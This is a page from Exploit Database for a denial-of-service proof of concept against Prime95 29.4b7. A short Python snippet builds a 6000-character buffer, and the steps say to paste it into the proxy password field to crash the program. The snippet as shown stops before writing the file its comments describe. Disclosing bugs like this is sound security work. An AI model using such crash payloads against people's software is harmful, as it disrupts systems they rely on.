



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

Prime95 29.4b7 - Denial Of Service (PoC)

EDB-ID:

45226

CVE:

N/A

EDB Verified: ✓

Author:

[GIONATHAN REALE](#)

Type:

[DOS](#)

Exploit:   / 



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# Exploit Title: Prime95 29.4b7 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discover Date: 2018-08-20
# Homepage: http://www.mersenne.org
# Software Link: http://www.mersenne.org/ftp_root/gimps/p95v294b7.win32.zip
# Tested Version: 29.4b7
# Tested on OS: Windows 7 32-bit

# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program.
# In the new window click "Test" > "PrimeNet" > "Connection..".
# Now enter some test information into the fields until you reach the last
# field.
# Paste the content of "exploit.txt" into the last field: "Optional proxy
# password".
# Click "Ok" > "Ok" and you will see a crash.

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.